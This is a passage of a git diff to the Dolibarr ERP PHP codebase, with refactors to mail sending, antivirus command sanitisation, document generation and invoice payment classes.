CMailFile //$this->logger = new Swift_Plugins_Loggers_EchoLogger(); $this->mailer->registerPlugin(new Swift_Plugins_LoggerPlugin($this->logger)); } + + dol_syslog("CMailFile::sendfile: mailer->send, HOST=".$server.", PORT=".$conf->global->$keyforsmtpport, LOG_DEBUG); + // send mail + $failedRecipients = array(); try { $result = $this->mailer->send($this->message, $failedRecipients); } catch (Exception $e) { @@ -1113,6 +1168,10 @@ class CMailFile } dol_syslog("CMailFile::sendfile: mail end error=".$this->error, LOG_ERR); $res = false; + + if (!empty($conf->global->MAIN_MAIL_DEBUG)) { + $this->save_dump_mail_in_err('Mail with topic '.$this->subject); + } } else { dol_syslog("CMailFile::sendfile: mail end success", LOG_DEBUG); } @@ -1123,7 +1182,14 @@ class CMailFile return 'Bad value for sendmode'; } - $parameters = array(); + // Now we delete image files that were created dynamically to manage data inline files + foreach ($this->html_images as $val) { + if (!empty($val['type']) && $val['type'] == 'cidfromdata') { + //dol_delete($val['fullpath']); + } + } + + $parameters = array('sent' => $res); $action = ''; $reshook = $hookmanager->executeHooks('sendMailAfter', $parameters, $this, $action); // Note that $action and $object may have been modified by some hooks if ($reshook < 0) { @@ -1193,7 +1259,7 @@ class CMailFile if (@is_writeable($dolibarr_main_data_root)) { // Avoid fatal error on fopen with open_basedir $outputfile = $dolibarr_main_data_root."/dolibarr_mail.log"; - $fp = fopen($outputfile, "w"); + $fp = fopen($outputfile, "w"); // overwrite if ($this->sendmode == 'mail') { fputs($fp, $this->headers); @@ -1206,9 +1272,50 @@ class CMailFile } fclose($fp); - if (!empty($conf->global->MAIN_UMASK)) { - @chmod($outputfile, octdec($conf->global->MAIN_UMASK)); + dolChmod($outputfile); + } + } + + // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps + /** + * Save content if mail is in error + * Used for debugging. + * + * @param string $message Add also a message + * @return void + */ + public function save_dump_mail_in_err($message = '') + { + global $dolibarr_main_data_root; + + if (@is_writeable($dolibarr_main_data_root)) { // Avoid fatal error on fopen with open_basedir + $srcfile = $dolibarr_main_data_root."/dolibarr_mail.log"; + + // Add message to dolibarr_mail.log. We do not use dol_syslog() on purpose, + // to be sure to write into dolibarr_mail.log + if ($message) { + // Test constant SYSLOG_FILE_NO_ERROR (should stay a constant defined with define('SYSLOG_FILE_NO_ERROR',1); + if (defined('SYSLOG_FILE_NO_ERROR')) { + $filefd = @fopen($srcfile, 'a+'); + } else { + $filefd = fopen($srcfile, 'a+'); + } + if ($filefd) { + fwrite($filefd, $message."\n"); + fclose($filefd); + dolChmod($srcfile); + } } + + // Move dolibarr_mail.log into a dolibarr_mail.err or dolibarr_mail.date.err + if (getDolGlobalString('MAIN_MAIL_DEBUG_ERR_WITH_DATE')) { + $destfile = $dolibarr_main_data_root."/dolibarr_mail.".dol_print_date(dol_now(), 'dayhourlog', 'gmt').".err"; + } else { + $destfile = $dolibarr_main_data_root."/dolibarr_mail.err"; + } + + require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; + dol_move($srcfile, $destfile, 0, 1, 0, 0); } } @@ -1654,7 +1761,7 @@ class CMailFile } /** - * Seearch images into html message and init array this->images_encoded if found + * Search images into html message and init array this->images_encoded if found * * @param string $images_dir Location of physical images files. For example $dolibarr_main_data_root.'/medias' * @return int >0 if OK, <0 if KO @@ -1692,7 +1799,7 @@ class CMailFile $this->html_images[$i]["content_type"] = $this->image_types[$ext]; } // cid - $this->html_images[$i]["cid"] = dol_hash(uniqid(time()), 3); // Force md5 hash (does not contains special chars) + $this->html_images[$i]["cid"] = dol_hash($this->html_images[$i]["fullpath"], 'md5'); // Force md5 hash (does not contains special chars) // type $this->html_images[$i]["type"] = 'cidfromurl'; @@ -1741,7 +1848,8 @@ class CMailFile } /** - * Seearch images with data:image format into html message + * Seearch images with data:image format into html message. + * If we find some, we create it on disk. * * @param string $images_dir Location of where to store physicaly images files. For example $dolibarr_main_data_root.'/medias' * @return int >0 if OK, <0 if KO @@ -1783,17 +1891,22 @@ class CMailFile foreach ($matches[1] as $key => $ext) { // We save the image to send in disk $filecontent = $matches[2][$key]; - $cid = 'cid000'.dol_hash($this->html, 'md5'); + + $cid = 'cid000'.dol_hash($filecontent, 'md5'); // The id must not change if image is same + $destfiletmp = $images_dir.'/'.$cid.'.'.$ext; - $fhandle = @fopen($destfiletmp, 'w'); - if ($fhandle) { - $nbofbyteswrote = fwrite($fhandle, base64_decode($filecontent)); - fclose($fhandle); - @chmod($destfiletmp, octdec($conf->global->MAIN_UMASK)); - } else { - $this->errors[] = "Failed to open file '".$destfiletmp."' for write"; - return -1; + if (!dol_is_file($destfiletmp)) { // If file does not exist yet (this is the case for the first email sent with a data:image inside) + dol_syslog("write the cid file ".$destfiletmp); + $fhandle = @fopen($destfiletmp, 'w'); + if ($fhandle) { + $nbofbyteswrote = fwrite($fhandle, base64_decode($filecontent)); + fclose($fhandle); + dolChmod($destfiletmp); + } else { + $this->errors[] = "Failed to open file '".$destfiletmp."' for write"; + return -1; + } } if (file_exists($destfiletmp)) { diff --git a/htdocs/core/class/CSMSFile.class.php b/htdocs/core/class/CSMSFile.class.php index 3f082ba6d53..a8dc4bfff9a 100644 --- a/htdocs/core/class/CSMSFile.class.php +++ b/htdocs/core/class/CSMSFile.class.php @@ -231,9 +231,7 @@ class CSMSFile fputs($fp, "Message:\n".$this->message); fclose($fp); - if (!empty($conf->global->MAIN_UMASK)) { - @chmod($outputfile, octdec($conf->global->MAIN_UMASK)); - } + dolChmod($outputfile); } } @@ -257,9 +255,7 @@ class CSMSFile fputs($fp, "\nResult id=".$result); fclose($fp); - if (!empty($conf->global->MAIN_UMASK)) { - @chmod($outputfile, octdec($conf->global->MAIN_UMASK)); - } + dolChmod($outputfile); } } } diff --git a/htdocs/core/class/antivir.class.php b/htdocs/core/class/antivir.class.php index dc38d38185e..f8391c7a512 100644 --- a/htdocs/core/class/antivir.class.php +++ b/htdocs/core/class/antivir.class.php @@ -81,63 +81,38 @@ class AntiVir } $fullcommand = $this->getCliCommand($file); + //$fullcommand="/usr/bin/clamdscan --fdpass '/tmp/phpuxoAEo'" //$fullcommand='"c:\Program Files (x86)\ClamWin\bin\clamscan.exe" --database="C:\Program Files (x86)\ClamWin\lib" "c:\temp\aaa.txt"'; - $fullcommand .= ' 2>&1'; // This is to get error output + //var_dump($fullcommand); - $output = array(); - $return_var = 0; $safemode = ini_get("safe_mode"); // Create a clean fullcommand dol_syslog("AntiVir::dol_avscan_file Run command=".$fullcommand." with safe_mode ".($safemode ? "on" : "off")); - // Run CLI command. If run of Windows, you can get return with echo %ERRORLEVEL% - $lastline = exec($fullcommand, $output, $return_var); + // Run CLI command. + include_once DOL_DOCUMENT_ROOT.'/core/class/utils.class.php'; + $utils = new Utils($this->db); + $outputfile = $conf->user->dir_temp.'/antivir.tmp'; + + $result = $utils->executeCLI($fullcommand, $outputfile); + + $return_var = $result['result']; + $output = $result['output']; + $errorstring = $result['error']; if (is_null($output)) { $output = array(); } - //print "x".$lastline." - ".join(',',$output)." - ".$return_var."y";exit; - - /* - $outputfile=$conf->admin->dir_temp.'/dol_avscan_file.out.'.session_id(); - $handle = fopen($outputfile, 'w'); - if ($handle) - { - $handlein = popen($fullcommand, 'r'); - while (!feof($handlein)) - { - $read = fgets($handlein); - fwrite($handle,$read); - } - pclose($handlein); - - $errormsg = fgets($handle,2048); - $this->output=$errormsg; - - fclose($handle); - - if (!empty($conf->global->MAIN_UMASK)) - @chmod($outputfile, octdec($conf->global->MAIN_UMASK)); - } - else - { - $langs->load("errors"); - dol_syslog("Failed to open file ".$outputfile,LOG_ERR); - $this->error="ErrorFailedToWriteInDir"; - $return=-1; - } - */ - - dol_syslog("AntiVir::dol_avscan_file Result return_var=".$return_var." output=".join(',', $output)); + dol_syslog("AntiVir::dol_avscan_file Result return_var=".$return_var." output=".$output); $returncodevirus = 1; if ($return_var == $returncodevirus) { // Virus found - $this->errors = $output; + $this->errors = array($errorstring, $output); return -99; } if ($return_var > 0) { // If other error - $this->errors = $output; + $this->errors = array($errorstring, $output); return -98; } @@ -178,10 +153,12 @@ class AntiVir } if (preg_match("/\s/", $command)) { - $command = escapeshellarg($command); // Use quotes on command. Using escapeshellcmd fails. + $command = escapeshellarg($command); // Force use of quotes on command. Using escapeshellcmd fails. } - $ret = $command.' '.$param; + $forbidden_chars_to_replace = array("*", "?", "\"", "<", ">", "|", "[", "]", ";", '°', '$'); + $ret = dol_sanitizePathName($command).' '.dol_string_nospecial($param, '_', $forbidden_chars_to_replace); + //$ret=$command.' '.$param.' 2>&1'; //print "xx".$ret."xx";exit; diff --git a/htdocs/core/class/canvas.class.php b/htdocs/core/class/canvas.class.php index 67443a7bdb8..1ed16b2e1ce 100644 --- a/htdocs/core/class/canvas.class.php +++ b/htdocs/core/class/canvas.class.php @@ -157,13 +157,14 @@ class Canvas } /** - * Return the template to display canvas (if it exists) + * Return if a template exists to display as canvas (if it exists) * * @param string $action Action code * @return int 0=Canvas template file does not exist, 1=Canvas template file exists */ public function displayCanvasExists($action) { + // template_dir should be '/'.$this->dirmodule.'/canvas/'.$this->canvas.'/tpl/', for example '/mymodule/canvas/product/tpl' if (empty($this->template_dir)) { return 0; } diff --git a/htdocs/core/class/ccountry.class.php b/htdocs/core/class/ccountry.class.php index 7b46b0a08b0..cbf4574ec48 100644 --- a/htdocs/core/class/ccountry.class.php +++ b/htdocs/core/class/ccountry.class.php @@ -122,7 +122,7 @@ class Ccountry // extends CommonObject $sql .= " ".(!isset($this->code) ? 'NULL' : "'".$this->db->escape($this->code)."'").","; $sql .= " ".(!isset($this->code_iso) ? 'NULL' : "'".$this->db->escape($this->code_iso)."'").","; $sql .= " ".(!isset($this->label) ? 'NULL' : "'".$this->db->escape($this->label)."'").","; - $sql .= " ".(!isset($this->active) ? 'NULL' : "'".$this->db->escape($this->active)."'").""; + $sql .= " ".(!isset($this->active) ? 'NULL' : "'".$this->db->escape($this->active)."'"); $sql .= ")"; $this->db->begin(); @@ -239,7 +239,7 @@ class Ccountry // extends CommonObject $sql .= " code=".(isset($this->code) ? "'".$this->db->escape($this->code)."'" : "null").","; $sql .= " code_iso=".(isset($this->code_iso) ? "'".$this->db->escape($this->code_iso)."'" : "null").","; $sql .= " label=".(isset($this->label) ? "'".$this->db->escape($this->label)."'" : "null").","; - $sql .= " active=".(isset($this->active) ? $this->active : "null").""; + $sql .= " active=".(isset($this->active) ? $this->active : "null"); $sql .= " WHERE rowid=".((int) $this->id); $this->db->begin(); diff --git a/htdocs/core/class/cgenericdic.class.php b/htdocs/core/class/cgenericdic.class.php index ab1023b81f5..60ac9f7984e 100644 --- a/htdocs/core/class/cgenericdic.class.php +++ b/htdocs/core/class/cgenericdic.class.php @@ -30,6 +30,11 @@ */ class CGenericDic { + /** + * @var DoliDB Database handler. + */ + public $db; + /** * @var string Id to identify managed objects */ @@ -82,6 +87,8 @@ class CGenericDic $fieldlabel = 'label'; if ($this->table_element == 'c_stcomm') { $fieldlabel = 'libelle'; + } elseif ($this->table_element == 'c_type_fees') { + $fieldrowid = 'id'; } $error = 0; @@ -162,6 +169,8 @@ class CGenericDic if ($this->table_element == 'c_stcomm') { $fieldrowid = 'id'; $fieldlabel = 'libelle'; + } elseif ($this->table_element == 'c_type_fees') { + $fieldrowid = 'id'; } $sql = "SELECT"; @@ -233,6 +242,8 @@ class CGenericDic if ($this->table_element == 'c_stcomm') { $fieldrowid = 'id'; $fieldlabel = 'libelle'; + } elseif ($this->table_element == 'c_type_fees') { + $fieldrowid = 'id'; } $sql = "SELECT"; @@ -303,6 +314,8 @@ class CGenericDic if ($this->table_element == 'c_stcomm') { $fieldrowid = 'id'; $fieldlabel = 'libelle'; + } elseif ($this->table_element == 'c_type_fees') { + $fieldrowid = 'id'; } // Clean parameters diff --git a/htdocs/core/class/comment.class.php b/htdocs/core/class/comment.class.php index 960d2ac4744..4a743e5b070 100644 --- a/htdocs/core/class/comment.class.php +++ b/htdocs/core/class/comment.class.php @@ -351,16 +351,18 @@ class Comment extends CommonObject /** - * Load comments linked with current task + * Load comments linked with current task into ->comments * * @param string $element_type Element type * @param int $fk_element Id of element - * @return array Comment array + * @return int Result */ public function fetchAllFor($element_type, $fk_element) { global $db, $conf; + $this->comments = array(); + if (!empty($element_type) && !empty($fk_element)) { $sql = "SELECT"; $sql .= " c.rowid"; diff --git a/htdocs/core/class/commondocgenerator.class.php b/htdocs/core/class/commondocgenerator.class.php index 82012400f68..127584e3f9f 100644 --- a/htdocs/core/class/commondocgenerator.class.php +++ b/htdocs/core/class/commondocgenerator.class.php @@ -5,7 +5,7 @@ * Copyright (C) 2005-2012 Regis Houssin * Copyright (C) 2015 Marcos García * Copyright (C) 2016 Charlie Benke - * Copyright (C) 2018-2020 Frédéric France + * Copyright (C) 2018-2023 Frédéric France * Copyright (C) 2020 Josep Lluís Amador * * This program is free software; you can redistribute it and/or modify @@ -35,6 +35,11 @@ */ abstract class CommonDocGenerator { + /** + * @var string Model name + */ + public $name = ''; + /** * @var string Error code (or message) */ @@ -65,6 +70,21 @@ abstract class CommonDocGenerator */ public $scandir; + /** + * @var string model description (short text) + */ + public $description; + + /** + * @var array + */ + public $format; + + /** + * @var string pdf, odt, etc + */ + public $type; + public $page_hauteur; public $page_largeur; public $marge_gauche; @@ -130,7 +150,11 @@ abstract class CommonDocGenerator 'myuser_email'=>$user->email, 'myuser_logo'=>$logotouse, 'myuser_job'=>$user->job, - 'myuser_web'=>'' // url not exist in $user object + 'myuser_web'=>'', // url not exist in $user object + 'myuser_birth'=>dol_print_date($user->birth, 'day', 'gmt'), + 'myuser_dateemployment'=>dol_print_date($user->dateemployment, 'day', 'tzuser'), + 'myuser_dateemploymentend'=>dol_print_date($user->dateemploymentend, 'day', 'tzuser'), + 'myuser_gender'=>$user->gender, ); // Retrieve extrafields if (is_array($user->array_options) && count($user->array_options)) { @@ -443,7 +467,7 @@ abstract class CommonDocGenerator } } - $date = ($object->element == 'contrat' ? $object->date_contrat : $object->date); + $date = (isset($object->element) && $object->element == 'contrat' && isset($object->date_contrat)) ? $object->date_contrat : (isset($object->date) ? $object->date : null); $resarray = array( $array_key.'_id'=>$object->id, @@ -452,7 +476,7 @@ abstract class CommonDocGenerator $array_key.'_ref_ext' => (property_exists($object, 'ref_ext') ? $object->ref_ext : ''), $array_key.'_ref_customer'=>(!empty($object->ref_client) ? $object->ref_client : (empty($object->ref_customer) ? '' : $object->ref_customer)), $array_key.'_ref_supplier'=>(!empty($object->ref_fournisseur) ? $object->ref_fournisseur : (empty($object->ref_supplier) ? '' : $object->ref_supplier)), - $array_key.'_source_invoice_ref'=>$invoice_source->ref, + $array_key.'_source_invoice_ref'=>((empty($invoice_source) || empty($invoice_source->ref)) ? '' : $invoice_source->ref), // Dates $array_key.'_hour'=>dol_print_date($date, 'hour'), $array_key.'_date'=>dol_print_date($date, 'day'), @@ -538,6 +562,12 @@ abstract class CommonDocGenerator $resarray[$array_key.'_project_description'] = $object->project->description; $resarray[$array_key.'_project_date_start'] = dol_print_date($object->project->date_start, 'day'); $resarray[$array_key.'_project_date_end'] = dol_print_date($object->project->date_end, 'day'); + } else { // empty replacement + $resarray[$array_key.'_project_ref'] =''; + $resarray[$array_key.'_project_title'] = ''; + $resarray[$array_key.'_project_description'] = ''; + $resarray[$array_key.'_project_date_start'] = ''; + $resarray[$array_key.'_project_date_end'] = ''; } // Add vat by rates @@ -651,7 +681,7 @@ abstract class CommonDocGenerator ); // Units - if (!empty($conf->global->PRODUCT_USE_UNITS)) { + if (getDolGlobalInt('PRODUCT_USE_UNITS')) { $resarray['line_unit'] = $outputlangs->trans($line->getLabelOfUnit('long')); $resarray['line_unit_short'] = $outputlangs->trans($line->getLabelOfUnit('short')); } @@ -687,7 +717,7 @@ abstract class CommonDocGenerator $resql = $this->db->fetch_object($resql); foreach ($extralabels as $key => $label) { - $resarray['line_product_supplier_'.$key] = $resql->{$key}; + $resarray['line_product_supplier_'.$key] = $resql->$key; } } } @@ -701,6 +731,14 @@ abstract class CommonDocGenerator foreach ($tmpproduct->array_options as $key => $label) { $resarray["line_product_".$key] = $label; } + } else { + // Set unused placeholders as blank + $extrafields->fetch_name_optionals_label("product"); + $extralabels = $extrafields->attributes["product"]['label']; + + foreach ($extralabels as $key => $label) { + $resarray['line_product_options_'.$key] = ''; + } } return $resarray; @@ -1016,12 +1054,10 @@ abstract class CommonDocGenerator * @param int $hidedetails Do not show line details * @param int $hidedesc Do not show desc * @param int $hideref Do not show ref - * @return null + * @return void */ public function prepareArrayColumnField($object, $outputlangs, $hidedetails = 0, $hidedesc = 0, $hideref = 0) { - global $conf; - $this->defineColumnField($object, $outputlangs, $hidedetails, $hidedesc, $hideref); @@ -1106,14 +1142,14 @@ abstract class CommonDocGenerator public function getColumnContentXStart($colKey) { $colDef = $this->cols[$colKey]; - return $colDef['xStartPos'] + $colDef['content']['padding'][3]; + return (isset($colDef['xStartPos']) ? $colDef['xStartPos'] : 0) + $colDef['content']['padding'][3]; } /** - * get column position rank from column key + * get column position rank from column key * - * @param string $colKey the column key - * @return int rank on success and -1 on error + * @param string $colKey the column key + * @return int rank on success and -1 on error */ public function getColumnRank($colKey) { @@ -1126,11 +1162,11 @@ abstract class CommonDocGenerator /** * get column position rank from column key * - * @param string $newColKey the new column key - * @param array $defArray a single column definition array - * @param string $targetCol target column used to place the new column beside - * @param bool $insertAfterTarget insert before or after target column ? - * @return int new rank on success and -1 on error + * @param string $newColKey the new column key + * @param array $defArray a single column definition array + * @param string $targetCol target column used to place the new column beside + * @param bool $insertAfterTarget insert before or after target column ? + * @return int new rank on success and -1 on error */ public function insertNewColumnDef($newColKey, $defArray, $targetCol = false, $insertAfterTarget = false) { @@ -1171,11 +1207,11 @@ abstract class CommonDocGenerator /** * print standard column content * - * @param TCPDF $pdf pdf object - * @param float $curY curent Y position - * @param string $colKey the column key - * @param string $columnText column text - * @return null + * @param TCPDF $pdf pdf object + * @param float $curY curent Y position + * @param string $colKey the column key + * @param string $columnText column text + * @return int <0 if KO, >= if OK */ public function printStdColumnContent($pdf, &$curY, $colKey, $columnText = '') { @@ -1193,7 +1229,7 @@ abstract class CommonDocGenerator } if (!$reshook) { if (empty($columnText)) { - return; + return 0; } $pdf->SetXY($this->getColumnContentXStart($colKey), $curY); // Set curent position $colDef = $this->cols[$colKey]; @@ -1206,22 +1242,24 @@ abstract class CommonDocGenerator // restore cell padding $pdf->setCellPaddings($curentCellPaddinds['L'], $curentCellPaddinds['T'], $curentCellPaddinds['R'], $curentCellPaddinds['B']); } + + return 0; } /** * print description column content * - * @param TCPDF $pdf pdf object - * @param float $curY curent Y position - * @param string $colKey the column key - * @param object $object CommonObject - * @param int $i the $object->lines array key - * @param Translate $outputlangs Output language - * @param int $hideref hide ref - * @param int $hidedesc hide desc - * @param int $issupplierline if object need supplier product - * @return null + * @param TCPDF $pdf pdf object + * @param float $curY curent Y position + * @param string $colKey the column key + * @param object $object CommonObject + * @param int $i the $object->lines array key + * @param Translate $outputlangs Output language + * @param int $hideref hide ref + * @param int $hidedesc hide desc + * @param int $issupplierline if object need supplier product + * @return void */ public function printColDescContent($pdf, &$curY, $colKey, $object, $i, $outputlangs, $hideref = 0, $hidedesc = 0, $issupplierline = 0) { @@ -1265,7 +1303,7 @@ abstract class CommonDocGenerator global $hookmanager; if (empty($object->table_element)) { - return; + return ''; } $extrafieldsKeyPrefix = "options_"; @@ -1279,7 +1317,7 @@ abstract class CommonDocGenerator $extrafieldOptionsKey = $extrafieldsKeyPrefix.$extrafieldKey; - // Load extrafiels if not allready does + // Load extra fields if they haven't been loaded already. if (empty($this->extrafieldsCache)) { $this->extrafieldsCache = new ExtraFields($this->db); } @@ -1288,7 +1326,8 @@ abstract class CommonDocGenerator } $extrafields = $this->extrafieldsCache; - $extrafieldOutputContent = $extrafields->showOutputField($extrafieldKey, $object->array_options[$extrafieldOptionsKey], '', $object->table_element); + $extrafieldOutputContent = ''; + if (isset($object->array_options[$extrafieldOptionsKey])) $extrafieldOutputContent = $extrafields->showOutputField($extrafieldKey, $object->array_options[$extrafieldOptionsKey], '', $object->table_element); // TODO : allow showOutputField to be pdf public friendly, ex: in a link to object, clean getNomUrl to remove link and images... like a getName methode ... if ($extrafields->attributes[$object->table_element]['type'][$extrafieldKey] == 'link') { @@ -1317,10 +1356,10 @@ abstract class CommonDocGenerator /** * display extrafields columns content * - * @param object $object line of common object - * @param Translate $outputlangs Output language - * @param array $params array of additionals parameters - * @return double max y value + * @param object $object line of common object + * @param Translate $outputlangs Output language + * @param array $params array of additionals parameters + * @return string Html string */ public function getExtrafieldsInHtml($object, $outputlangs, $params = array()) { @@ -1330,7 +1369,7 @@ abstract class CommonDocGenerator return; } - // Load extrafiels if not allready does + // Load extrafields if not allready done if (empty($this->extrafieldsCache)) { $this->extrafieldsCache = new ExtraFields($this->db); } @@ -1366,7 +1405,6 @@ abstract class CommonDocGenerator $params = $params + $defaultParams; - /** * @var $extrafields ExtraFields */ @@ -1544,7 +1582,7 @@ abstract class CommonDocGenerator $colDef['title']['label'] = !empty($colDef['title']['label']) ? $colDef['title']['label'] : $outputlangs->transnoentities($colDef['title']['textkey']); // Add column separator - if (!empty($colDef['border-left'])) { + if (!empty($colDef['border-left']) && isset($colDef['xStartPos'])) { $pdf->line($colDef['xStartPos'], $tab_top, $colDef['xStartPos'], $tab_top + $tab_height); } @@ -1561,17 +1599,21 @@ abstract class CommonDocGenerator // set cell padding with column title definition $pdf->setCellPaddings($colDef['title']['padding'][3], $colDef['title']['padding'][0], $colDef['title']['padding'][1], $colDef['title']['padding'][2]); } - + if (isset($colDef['title']['align'])) { + $align = $colDef['title']['align']; + } else { + $align = ''; + } $pdf->SetXY($colDef['xStartPos'], $tab_top); $textWidth = $colDef['width']; - $pdf->MultiCell($textWidth, 2, $colDef['title']['label'], '', $colDef['title']['align']); + $pdf->MultiCell($textWidth, 2, $colDef['title']['label'], '', $align); // Add variant of translation if $outputlangsbis is an object if (is_object($outputlangsbis) && trim($colDef['title']['label'])) { $pdf->setCellPaddings($colDef['title']['padding'][3], 0, $colDef['title']['padding'][1], $colDef['title']['padding'][2]); $pdf->SetXY($colDef['xStartPos'], $pdf->GetY()); $textbis = $outputlangsbis->transnoentities($colDef['title']['textkey']); - $pdf->MultiCell($textWidth, 2, $textbis, '', $colDef['title']['align']); + $pdf->MultiCell($textWidth, 2, $textbis, '', $align); } $this->tabTitleHeight = max($pdf->GetY() - $tab_top, $this->tabTitleHeight); @@ -1593,21 +1635,19 @@ abstract class CommonDocGenerator * @param object $object common object det * @param Translate $outputlangs langs * @param int $hidedetails Do not show line details - * @return null + * @return int <0 if KO, >=0 if OK */ public function defineColumnExtrafield($object, $outputlangs, $hidedetails = 0) { - global $conf; - if (!empty($hidedetails)) { - return; + return 0; } if (empty($object->table_element)) { - return; + return 0; } - // Load extrafiels if not allready does + // Load extra fields if they haven't been loaded already. if (empty($this->extrafieldsCache)) { $this->extrafieldsCache = new ExtraFields($this->db); } @@ -1617,7 +1657,7 @@ abstract class CommonDocGenerator $extrafields = $this->extrafieldsCache; - if (!empty($extrafields->attributes[$object->table_element]) && is_array($extrafields->attributes[$object->table_element]['label'])) { + if (!empty($extrafields->attributes[$object->table_element]) && is_array($extrafields->attributes[$object->table_element]) && array_key_exists('label', $extrafields->attributes[$object->table_element]) && is_array($extrafields->attributes[$object->table_element]['label'])) { foreach ($extrafields->attributes[$object->table_element]['label'] as $key => $label) { // Dont display separator yet even is set to be displayed (not compatible yet) if ($extrafields->attributes[$object->table_element]['type'][$key] == 'separate') { @@ -1674,5 +1714,7 @@ abstract class CommonDocGenerator $this->insertNewColumnDef("options_".$key, $def); } } + + return 1; } } diff --git a/htdocs/core/class/commoninvoice.class.php b/htdocs/core/class/commoninvoice.class.php index 6fa218d4970..055cb58e84f 100644 --- a/htdocs/core/class/commoninvoice.class.php +++ b/htdocs/core/class/commoninvoice.class.php @@ -131,8 +131,8 @@ abstract class CommonInvoice extends CommonObject * Return amount of payments already done. This must include ONLY the record into the payment table. * Payments dones using discounts, credit notes, etc are not included. * - * @param int $multicurrency Return multicurrency_amount instead of amount - * @return float|int Amount of payment already done, <0 and set ->error if KO + * @param int $multicurrency Return multicurrency_amount instead of amount. -1=Return both. + * @return float|int|array Amount of payment already done, <0 and set ->error if KO */ public function getSommePaiement($multicurrency = 0) { @@ -156,7 +156,11 @@ abstract class CommonInvoice extends CommonObject $this->db->free($resql); if ($obj) { - if ($multicurrency) { + if ($multicurrency < 0) { + $this->sumpayed = $obj->amount; + $this->sumpayed_multicurrency = $obj->multicurrency_amount; + return array('alreadypaid'=>(float) $obj->amount, 'alreadypaid_multicurrency'=>(float) $obj->multicurrency_amount); + } elseif ($multicurrency) { $this->sumpayed_multicurrency = $obj->multicurrency_amount; return (float) $obj->multicurrency_amount; } else { @@ -332,6 +336,7 @@ abstract class CommonInvoice extends CommonObject $field = 'fk_facture'; $field2 = 'fk_paiement'; $field3 = ', p.ref_ext'; + $field4 = ', p.fk_bank'; // Bank line id $sharedentity = 'facture'; if ($this->element == 'facture_fourn' || $this->element == 'invoice_supplier') { $table = 'paiementfourn_facturefourn'; @@ -342,7 +347,7 @@ abstract class CommonInvoice extends CommonObject $sharedentity = 'facture_fourn'; } - $sql = "SELECT p.ref, pf.amount, pf.multicurrency_amount, p.fk_paiement, p.datep, p.num_paiement as num, t.code".$field3; + $sql = "SELECT p.ref, pf.amount, pf.multicurrency_amount, p.fk_paiement, p.datep, p.num_paiement as num, t.code".$field3 . $field4; $sql .= " FROM ".$this->db->prefix().$table." as pf, ".$this->db->prefix().$table2." as p, ".$this->db->prefix()."c_paiement as t"; $sql .= " WHERE pf.".$field." = ".((int) $this->id); $sql .= " AND pf.".$field2." = p.rowid"; @@ -363,6 +368,9 @@ abstract class CommonInvoice extends CommonObject if (!empty($field3)) { $tmp['ref_ext'] = $obj->ref_ext; } + if (!empty($field4)) { + $tmp['fk_bank_line'] = $obj->fk_bank; + } $retarray[] = $tmp; $i++; } @@ -584,7 +592,7 @@ abstract class CommonInvoice extends CommonObject public function LibStatut($paye, $status, $mode = 0, $alreadypaid = -1, $type = -1) { // phpcs:enable - global $langs; + global $langs, $hookmanager; $langs->load('bills'); if ($type == -1) { @@ -634,6 +642,22 @@ abstract class CommonInvoice extends CommonObject } } + $parameters = array( + 'status' => $status, + 'mode' => $mode, + 'paye' => $paye, + 'alreadypaid' => $alreadypaid, + 'type' => $type + ); + + $reshook = $hookmanager->executeHooks('LibStatut', $parameters, $this); // Note that $action and $object may have been modified by hook + + if ($reshook > 0) { + return $hookmanager->resPrint; + } + + + return dolGetStatus($labelStatus, $labelStatusShort, '', $statusType, $mode); } @@ -643,7 +667,7 @@ abstract class CommonInvoice extends CommonObject * conditions and billing date. * * @param integer $cond_reglement Condition of payment (code or id) to use. If 0, we use current condition. - * @return integer Date limite de reglement si ok, <0 si ko + * @return integer Date limit of payment if OK, <0 if KO */ public function calculate_date_lim_reglement($cond_reglement = 0) { @@ -654,6 +678,9 @@ abstract class CommonInvoice extends CommonObject if (!$cond_reglement) { $cond_reglement = $this->cond_reglement_id; } + if (!$cond_reglement) { + return $this->date; + } $cdr_nbjour = 0; $cdr_type = 0; @@ -762,7 +789,7 @@ abstract class CommonInvoice extends CommonObject } else { $sql .= " WHERE fk_facture = ".((int) $this->id); } - $sql .= " AND ext_payment_id IS NULL"; // To exclude record done for some online payments + $sql .= " AND type = 'ban'"; // To exclude record done for some online payments $sql .= " AND traite = 0"; dol_syslog(get_class($this)."::demande_prelevement", LOG_DEBUG); @@ -792,7 +819,7 @@ abstract class CommonInvoice extends CommonObject } else { $sql .= 'fk_facture, '; } - $sql .= ' amount, date_demande, fk_user_demande, code_banque, code_guichet, number, cle_rib, sourcetype, entity)'; + $sql .= ' amount, date_demande, fk_user_demande, code_banque, code_guichet, number, cle_rib, sourcetype, type, entity)'; $sql .= " VALUES (".((int) $this->id); $sql .= ", ".((float) price2num($amount)); $sql .= ", '".$this->db->idate($now)."'"; @@ -802,6 +829,7 @@ abstract class CommonInvoice extends CommonObject $sql .= ", '".$this->db->escape($bac->number)."'"; $sql .= ", '".$this->db->escape($bac->cle_rib)."'"; $sql .= ", '".$this->db->escape($sourcetype)."'"; + $sql .= ", 'ban'"; $sql .= ", ".((int) $conf->entity); $sql .= ")"; @@ -849,11 +877,10 @@ abstract class CommonInvoice extends CommonObject /** - * Create a withdrawal request for a direct debit order or a credit transfer order. - * Use the remain to pay excluding all existing open direct debit requests. + * Create a payment order into prelevement_demande then send the payment order to Stripe (for a direct debit order or a credit transfer order). * * @param User $fuser User asking the direct debit transfer - * @param int $did ID of payment request + * @param int $did ID of unitary payment request to pay * @param string $type 'direct-debit' or 'bank-transfer' * @param string $sourcetype Source ('facture' or 'supplier_invoice') * @return int <0 if KO, >0 if OK @@ -862,18 +889,21 @@ abstract class CommonInvoice extends CommonObject { global $conf, $mysoc, $user, $langs; - if (empty($conf->global->STRIPE_SEPA_DIRECT_DEBIT)) { - //exit + if ($type != 'bank-transfer' && $type != 'credit-transfer' && empty($conf->global->STRIPE_SEPA_DIRECT_DEBIT)) { + return 0; + } + if ($type != 'direct-debit' && empty($conf->global->STRIPE_SEPA_CREDIT_TRANSFER)) { return 0; } $error = 0; - dol_syslog(get_class($this)."::makeStripeSepaRequest 0", LOG_DEBUG); + dol_syslog(get_class($this)."::makeStripeSepaRequest start", LOG_DEBUG); if ($this->statut > self::STATUS_DRAFT && $this->paye == 0) { + // Get the default payment mode for BAN payment of the third party require_once DOL_DOCUMENT_ROOT.'/societe/class/companybankaccount.class.php'; - $bac = new CompanyBankAccount($this->db); + $bac = new 